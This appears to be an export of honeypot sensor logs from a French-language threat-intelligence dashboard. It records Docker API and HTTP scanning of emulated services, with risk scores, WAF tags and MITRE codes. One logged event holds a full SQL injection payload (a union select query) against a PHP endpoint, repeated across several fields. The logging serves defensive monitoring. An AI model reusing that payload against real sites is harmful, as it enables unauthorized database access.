"485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 230, "payload_entropy": 5.285327453967541, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 60, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 40, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 5.1, "risk_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25 }, "risk_score": 33, "tag_count": 6, "anomaly_count": 0, "campaign_key": "11a06314b5b73d1ed254793071b2d148dd63d0fb", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 33, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "c0fbb2d35bdac6ecf0cd933fbb9ae4dd", "path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 33 }, "payload_preview": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x6", "request_sample": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko\/20100101 Firefox\/140.4\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x6", "evidence": { "request_sample": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko\/20100101 Firefox\/140.4\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x6", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "cloud_infra_scan" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "67f46c025f4b0f0a6342c9e290186ef3b0d73508", "protocol_details": { "payload_preview": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x6", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x6", "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 6 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 33, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 33, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x6", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x6", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 6 signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "http_get_probe", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:49:12 UTC	TCP	7001 · HTTP	http	Tentative d'exploit exploit attempt · via HTTP:7001 · (tentative d'exploit) · → /wp-content/themes/listingpro/style.css	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0001 TA0001 TA0002 Protocole GET /wp-content/themes/listingpro/style.css UA Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33… Émulateur HTTP WAF 19 Recommandation Investiguer Tags 950326:rce-0 950468:nosqli-3 950470:nosqli-3 net_web_probe Cible HTTP GET /wp-content/themes/listingpro/style.css TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /wp-content/themes/listingpro/style.css Service HTTP Pourquoi cette classification : Tentative d'exploit (tag rce-0) · confiance 62% Confiance classification 70% Corrélation +8 Risque capteur Moyen · 52 Confiance : Confiance 62 % — 3 tag(s) WAF Protocole émulé 1 Signaux MITRE-T1190 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Ligne de requête `GET /wp-content/themes/listingpro/style.css HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /wp-content/themes/listingpro/style.css HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) G Requête brute (extrait) GET /wp-content/themes/listingpro/style.css HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 0, "http_path_depth": 4, "http_path_ext": "css", "http_ua_hash": "12831f0d79add8407105fb2657c42b178852f398", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "0df61792c3790b451de42d020b6de636ace94564", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 215, "payload_entropy": 5.221957524964022, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 84, "risk_classification": 72, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 33, "risk_novelty": 15, "risk_boost": 0, "risk_granularity": 5.6, "risk_breakdown": { "waf": 84, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 15 }, "risk_score": 52, "tag_count": 4, "anomaly_count": 0, "campaign_key": "040b6029d745bd5fabff8fd7e8d1d3603102b8df", "event_fingerprint": "9667b429adf221bebcddf706208e2619ac2d0d74", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "confidence": 0.7, "classification_confidence": 0.7, "precision_score": 73, "precision_signals": [ "MITRE-T1190" ], "kb_rule_ids": [ "MITRE-T1190" ], "confidence_breakdown": { "waf": 84, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 15, "risk_score": 52, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "http", "risk_confidence_factor": 62, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "7ac598febffae5d4183dcc08be931b41", "payload_hash": "91c8b63c8c98e8a8d5a3f53c0b20b07f", "path_pattern_hash": "0ac54cc729caf3d57549b3cd4c45fbec" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 52 }, "payload_preview": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; rv:33.0) G", "method": "GET", "path": "\/wp-content\/themes\/listingpro\/style.css", "user_agent": "Mozilla\/5.0 (Windows NT 6.1; rv:33.0) Gecko\/20100101 Firefox\/33.0", "waf_tags": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "rce-0", "nosqli-3" ], "request_line": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1", "request_sample": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; rv:33.0) Gecko\/20100101 Firefox\/33.0\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; rv:33.0) G", "evidence": { "method": "GET", "path": "\/wp-content\/themes\/listingpro\/style.css", "user_agent": "Mozilla\/5.0 (Windows NT 6.1; rv:33.0) Gecko\/20100101 Firefox\/33.0", "waf_tags": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "rce-0", "nosqli-3" ], "request_line": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1", "request_sample": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; rv:33.0) Gecko\/20100101 Firefox\/33.0\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; rv:33.0) G", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre": "TA0001", "threat_family": [ "unknown" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "9321515a632f4dda61e2fcb933f09d4684c21bd7", "protocol_details": { "http_method": "GET", "http_path": "\/wp-content\/themes\/listingpro\/style.css", "request_line": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Windows NT 6.1; rv:33.0) Gecko\/20100101 Firefox\/33.0", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; rv:33.0) G", "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wp-content\/themes\/listingpro\/style.css", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "classification_reason_label_fr": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 52\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 70 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 70, "confidence_breakdown": { "waf": 84, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 15, "risk_score": 52, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 52, "risk_label": "Moyen", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "MITRE-T1190" ], "tags_summary_labels_fr": [ "MITRE-T1190" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "TA0001", "mitre_technique": "TA0001", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/wp-content\/themes\/listingpro\/style.css", "request_line": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Windows NT 6.1; rv:33.0) Gecko\/20100101 Firefox\/33.0", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wp-content\/themes\/listingpro\/style.css", "evidence_snippet": "GET \/wp-content\/themes\/listingpro\/style.css HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; rv:33.0) G", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF", "confidence_factors_fr": "Confiance 70 % \u2014 Score WAF 84 \u00b7 Bonus corr\u00e9lation +8 \u00b7 3 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "matched_patterns": [], "ban_policy": "advisory_investigate", "tags_list": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "net_web_probe" ] }
30/07/2026 21:49:06 UTC	TCP	7001 · HTTP	http	Tentative d'exploit exploit attempt · via HTTP:7001 · (tentative d'exploit) · → /plus/ajax_common.php	Élevée	Moyen · 61
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE T1190 TA0001 TA0002 Protocole GET /plus/ajax_common.php UA Mozilla/5.0 (Windows NT 6.2; rv:139.0) Gecko/20100101 Firefox/1… Émulateur HTTP WAF 28 Recommandation Investiguer Tags 950325:rce-0 950326:rce-0 950468:nosqli-3 950470:nosqli-3 Cible HTTP GET /plus/ajax_common.php TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /plus/ajax_common.php Service HTTP Pourquoi cette classification : Tentative d'exploit (tag rce-0) · confiance 95% Confiance classification 100% Corrélation +8 Risque capteur Moyen · 61 Confiance : Confiance 95 % — 4 tag(s) WAF Protocole émulé 1 Signaux MITRE-T1190 Technique MITRE T1190 Tactiques MITRE TA0001 TA0002 Ligne de requête `GET /plus/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 6.2; rv:139.0) Gecko/20100101 Firefox/139.0 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /plus/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP/1.1 Host: 62.3.50. Requête brute (extrait) GET /plus/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:139.0) Gecko/20100101 Firefox/139.0 Accept: / Accept-Language: en Acce Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 2, "http_path_depth": 2, "http_path_ext": "php", "http_ua_hash": "9e27d9d36d549939c3c22964272d95834fda0c93", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "6f56a40a1e2849892280cd9ce91310f7ce41beab", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 277, "payload_entropy": 5.498948146163007, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 100, "risk_classification": 72, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 33, "risk_novelty": 30, "risk_boost": 0, "risk_granularity": 6.3, "risk_breakdown": { "waf": 100, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 30 }, "risk_score": 61, "tag_count": 6, "anomaly_count": 1, "campaign_key": "1109f6162f3ea2991532567416c14031a5efee23", "event_fingerprint": "09e0b8632bfc68548603fb5c6cfc00e54fe02cfa", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 95%", "confidence": 1, "classification_confidence": 1, "precision_score": 111, "precision_signals": [ "MITRE-T1190" ], "kb_rule_ids": [ "MITRE-T1190" ], "confidence_breakdown": { "waf": 100, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 30, "risk_score": 61, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "http", "risk_confidence_factor": 95, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "46387f0218fb457a3754ff2a3e2f2394", "payload_hash": "8ae89f88f22e0370cb26442f420a66e4", "path_pattern_hash": "990fbb47b95f283917ffc7360f92df5c" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 61 }, "payload_preview": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1\r\nHost: 62.3.50.", "method": "GET", "path": "\/plus\/ajax_common.php", "query_string": "act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27", "user_agent": "Mozilla\/5.0 (Windows NT 6.2; rv:139.0) Gecko\/20100101 Firefox\/139.0", "waf_tags": [ "950325:rce-0", "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "rce-0", "nosqli-3" ], "request_line": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1", "request_sample": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.2; rv:139.0) Gecko\/20100101 Firefox\/139.0\r\nAccept: \/\r\nAccept-Language: en\r\nAcce", "payload_snippet": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1\r\nHost: 62.3.50.", "evidence": { "method": "GET", "path": "\/plus\/ajax_common.php", "query_string": "act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27", "user_agent": "Mozilla\/5.0 (Windows NT 6.2; rv:139.0) Gecko\/20100101 Firefox\/139.0", "waf_tags": [ "950325:rce-0", "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "rce-0", "nosqli-3" ], "request_line": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1", "request_sample": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.2; rv:139.0) Gecko\/20100101 Firefox\/139.0\r\nAccept: \/\r\nAccept-Language: en\r\nAcce", "payload_snippet": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1\r\nHost: 62.3.50.", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 95%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre_techniques": [ "T1190" ], "mitre": "T1190", "threat_family": [ "unknown" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "a6b2bb8bb93219de9b7cb478b91714b6a70323aa", "protocol_details": { "http_method": "GET", "http_path": "\/plus\/ajax_common.php", "request_line": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Windows NT 6.2; rv:139.0) Gecko\/20100101 Firefox\/139.0", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1\r\nHost: 62.3.50.", "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/plus\/ajax_common.php", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 95 % \u2014 4 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 95%", "classification_reason_label_fr": "Tentative d'exploit (tag rce-0) \u00b7 confiance 95%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE T1190 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 100, "confidence_breakdown": { "waf": 100, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 30, "risk_score": 61, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 61, "risk_label": "Moyen", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "MITRE-T1190" ], "tags_summary_labels_fr": [ "MITRE-T1190" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "T1190", "mitre_technique": "T1190", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/plus\/ajax_common.php", "request_line": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Windows NT 6.2; rv:139.0) Gecko\/20100101 Firefox\/139.0", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/plus\/ajax_common.php", "evidence_snippet": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1\r\nHost: 62.3.50.", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 95 % \u2014 4 tag(s) WAF", "confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 4 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": 